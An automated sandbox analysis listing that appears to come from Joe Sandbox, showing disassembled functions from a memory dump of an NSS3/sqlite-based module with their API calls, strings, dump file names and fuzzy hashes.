Function 6C72AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C713090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C72AE42), ref: 6C7130AA
Part of subcall function 6C713090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7130C7
Part of subcall function 6C713090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7130E5
Part of subcall function 6C713090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C713116
Part of subcall function 6C713090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C71312B
Part of subcall function 6C713090: PK11_DestroyObject.NSS3(?,?), ref: 6C713154
Part of subcall function 6C713090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C71317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C7099FF,?,?,?,?,?,?,?,?,?,6C702D6B,?), ref: 6C72AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C7099FF,?,?,?,?,?,?,?,?,?,6C702D6B,?), ref: 6C72AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C702D6B,?,?,00000000), ref: 6C72AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C702D6B,?,?,00000000), ref: 6C72AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C702D6B,?,?), ref: 6C72AEA3

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 5aa0bb8df06cdbe7299684072cfa83b62bae8e98efdb4ce953bc48fe4c565754
Instruction ID: 9dcef20888e979726880f27eee0bd9513f226b2d0f46207e4b002ddce322b606
Opcode Fuzzy Hash: 5aa0bb8df06cdbe7299684072cfa83b62bae8e98efdb4ce953bc48fe4c565754
Instruction Fuzzy Hash: BF01A4ABF1411057E701A16CAE9FAAF315C8B8766CF080432E909D7B41FA1AD91A42E3

Function 6C81BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C817AFE,?,?,?,?,?,?,?,?,6C81798A), ref: 6C81BDC3
free.MOZGLUE(?,?,6C817AFE,?,?,?,?,?,?,?,?,6C81798A), ref: 6C81BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C817AFE,?,?,?,?,?,?,?,?,6C81798A), ref: 6C81BDE9
free.MOZGLUE(?,00000000,00000000,?,6C817AFE,?,?,?,?,?,?,?,?,6C81798A), ref: 6C81BE21
free.MOZGLUE(00000000,00000000,?,6C817AFE,?,?,?,?,?,?,?,?,6C81798A), ref: 6C81BE32

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 026fb376a91c5b5160369d68bfa128343286d3c621d72ffb40874d9ddc3cac86
Instruction ID: f469e73ce12fcf6940ffc08df73f371a18a36031519a85572e2742c79f24e399
Opcode Fuzzy Hash: 026fb376a91c5b5160369d68bfa128343286d3c621d72ffb40874d9ddc3cac86
Instruction Fuzzy Hash: DE1116B5B052019FDB60DF2AC809A223BB6BB0A24DB4424B9E58A87701D7399414CFD2

Function 6C817C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C817C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C817C83
malloc.MOZGLUE(00000001), ref: 6C817C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C817C9F
PR_GetCurrentThread.NSS3 ref: 6C817CAD

Part of subcall function 6C7C9BF0: TlsGetValue.KERNEL32(?,?,?,6C810A75), ref: 6C7C9C07

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: b62018073d0029e9442821989eb10377335aa50ab2c22a577a1044bbc618799b
Instruction ID: af4238cdeea41dcecf73d11d0d1d0b3df89830cc92456ad3813c64d98c3ffacb
Opcode Fuzzy Hash: b62018073d0029e9442821989eb10377335aa50ab2c22a577a1044bbc618799b
Instruction Fuzzy Hash: 63F0AFB1A142076BEB509F7A9E099477B98EF05269B018839E80DC3F00EB34E114CAE5

Function 6C81ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C81A6D8), ref: 6C81AE0D
free.MOZGLUE(?), ref: 6C81AE14
DeleteCriticalSection.KERNEL32(6C81A6D8), ref: 6C81AE36
free.MOZGLUE(?), ref: 6C81AE3D
free.MOZGLUE(00000000,00000000,?,?,6C81A6D8), ref: 6C81AE47

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 24dd25d7ec3332671265cf2718fc18a938553541a3064c27bfae125ef55b8152
Instruction ID: b5c751b0eb89d8096ec1b6ef18932caf382bfc4d7691b9dd71cf534d818966b2
Opcode Fuzzy Hash: 24dd25d7ec3332671265cf2718fc18a938553541a3064c27bfae125ef55b8152
Instruction Fuzzy Hash: B3F0F6B9601A02A7CA219F68D8089577BB8BF8A778B100338F12A83941D775E015CFD1

Function 6C6A7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6A7D35

Strings

%s at line %d of [%.10s], xrefs: 6C6A7D2E
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6A7D13, 6C6A7D1F, 6C6A7D47, 6C6A7D53, 6C6A7D5F
database corruption, xrefs: 6C6A7D29

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: a1d30d9cc792bb0af1f21816b6ad6d505ed647540ce48dd04f10b953f1380fce
Instruction ID: 126519af548bbbe1cd354441175ccc61fa0aea9f06e3c9030062434c978d00ff
Opcode Fuzzy Hash: a1d30d9cc792bb0af1f21816b6ad6d505ed647540ce48dd04f10b953f1380fce
Instruction Fuzzy Hash: 6A311471E042299BC710CFDDC880DBAB7F1EF84709B594596E448B7B8AD270DC42C7A8

Function 6C696C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C696D36

Strings

%s at line %d of [%.10s], xrefs: 6C696D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C696D20
database corruption, xrefs: 6C696D2A

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: fbf1f7f2ccfdc05922cde785e4760a9503b079a7e60315d1951ad91c5b83d2a2
Instruction ID: 3cc0797cf18f19c7f01b0ef6179f22abbc2394e160a51d4ee27c172615045c54
Opcode Fuzzy Hash: fbf1f7f2ccfdc05922cde785e4760a9503b079a7e60315d1951ad91c5b83d2a2
Instruction Fuzzy Hash: 562124706003069BC710CF19C941B9AB7F1AF81308F14892DD8599BFA1E370F949C7EA

Function 6C772FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+wl,6C7732C2,<+wl,00000000,00000000,?), ref: 6C772FDA

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C77300B

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C77302A

Part of subcall function 6C760840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7608B4

Part of subcall function 6C74C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C74C45D
Part of subcall function 6C74C3D0: TlsGetValue.KERNEL32 ref: 6C74C494
Part of subcall function 6C74C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C74C4A9
Part of subcall function 6C74C3D0: PR_Unlock.NSS3(?), ref: 6C74C4F4

Strings

<+wl, xrefs: 6C772FD0

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+wl
API String ID: 2538134263-2346447686
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 44ae7621f7e6fa7872c35736310ed8cf14557e7e6f012f96a142b0fc750dc1a2
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 3911C4B6B001086BDF008E65AD09A9B779AAB8436CF184134EC1CD7B81E772E915C7A1

Function 6C7CCC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C7CCD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C7CCC7B), ref: 6C7CCD7A
Part of subcall function 6C7CCD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C7CCD8E
Part of subcall function 6C7CCD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C7CCDA5
Part of subcall function 6C7CCD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C7CCDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C7CCCB5
memcpy.VCRUNTIME140(6C8614F4,6C8602AC,00000090), ref: 6C7CCCD3
memcpy.VCRUNTIME140(6C861588,6C8602AC,00000090), ref: 6C7CCD2B

Part of subcall function 6C6E9AC0: socket.WSOCK32(?,00000017,6C6E99BE), ref: 6C6E9AE6
Part of subcall function 6C6E9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C6E99BE), ref: 6C6E9AFC

Part of subcall function 6C6F0590: closesocket.WSOCK32(6C6E9A8F,?,?,6C6E9A8F,00000000), ref: 6C6F0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C7CCCB0

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 5650152da402876eae7f5472696ef4673cbc9a0280232d917dd106263a5b8279
Instruction ID: 3e64f82219cab482a5ed2d65609f48e4785093b14052f78e066fe3f5cf9af66e
Opcode Fuzzy Hash: 5650152da402876eae7f5472696ef4673cbc9a0280232d917dd106263a5b8279
Instruction Fuzzy Hash: F9116DF1B082415EDB309B5B9A0B762BAE8974731CF542839E416CBF42E775C408DBDA

Function 6C731CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C731CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C731CF1

Part of subcall function 6C8109D0: PR_Now.NSS3 ref: 6C810A22
Part of subcall function 6C8109D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C810A35
Part of subcall function 6C8109D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C810A66
Part of subcall function 6C8109D0: PR_GetCurrentThread.NSS3 ref: 6C810A70
Part of subcall function 6C8109D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C810A9D
Part of subcall function 6C8109D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C810AC8
Part of subcall function 6C8109D0: PR_vsmprintf.NSS3(?,?), ref: 6C810AE8
Part of subcall function 6C8109D0: EnterCriticalSection.KERNEL32(?), ref: 6C810B19
Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C810B48
Part of subcall function 6C8109D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C810C76
Part of subcall function 6C8109D0: PR_LogFlush.NSS3 ref: 6C810C7E

Strings

pInitArgs = 0x%p, xrefs: 6C731CEC
C_Initialize, xrefs: 6C731CD3

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: bb4c86408cc4c19151437d9c69669ad8b65a255210bbcadadb53b26840ede6bf
Instruction ID: 05269961eeb17e03bf7bc408a976a90dc5f955d8e8262b5714f0bec3d1d0ecca
Opcode Fuzzy Hash: bb4c86408cc4c19151437d9c69669ad8b65a255210bbcadadb53b26840ede6bf
Instruction Fuzzy Hash: 4501D234206160DFDB219B66DE0DB6533B5ABC335EF046474E40C86A12DB38E849C7D6

Function 6C697F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C6981DF
LeaveCriticalSection.KERNEL32(?), ref: 6C698239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C698255
sqlite3_free.NSS3(00000000), ref: 6C698260

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 7844141e1822b0c0aa184a5b0faabb2dba0a1def3d3c733c44448ee663c8cb98
Instruction ID: 52801eba277630571999b41445b134145e2ae05c57bb3c603e5114a78c74c533
Opcode Fuzzy Hash: 7844141e1822b0c0aa184a5b0faabb2dba0a1def3d3c733c44448ee663c8cb98
Instruction Fuzzy Hash: F091BD31A0520ACBEF14CFE1D9487EDB7B1BF4A308F24013AD4069BA61D7399945CBC6

Function 6C771D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C771D8F

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C771DA6

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C771E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C771ED0

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: a933f0f40cc8fe090bdb0f3d76e191fc95a1409dce884556a03bad0d3e853679
Instruction ID: dd20e39bd8d5c8d125ce18666e73efbdd844b9df9b91400135df59e343e04d65
Opcode Fuzzy Hash: a933f0f40cc8fe090bdb0f3d76e191fc95a1409dce884556a03bad0d3e853679
Instruction Fuzzy Hash: 01515871A003098FDF20CF98C998BAEB7BABF45309F144129E81D9B651D771E945CBA0

Function 6C7C4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C6A85D2,00000000,?,?), ref: 6C7C4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7C500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7C50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7C50D6

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 42f15d7c7686216556f3729564d30c02a81a1aba94bc86faee81d36a1c076b9f
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: D3416FB2A402168FCB18CF28DCD179AB7E1BF4531871D4669D84ACBB02E775E891CB81

Function 6C6EFFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C6EFDFE), ref: 6C6EFFAD

Part of subcall function 6C68CA30: EnterCriticalSection.KERNEL32(?,?,?,6C6EF9C9,?,6C6EF4DA,6C6EF9C9,?,?,6C6B369A), ref: 6C68CA7A
Part of subcall function 6C68CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C68CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C6EFDFE), ref: 6C6EFFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C6EFDFE), ref: 6C6F001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C6EFDFE), ref: 6C6F006F

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
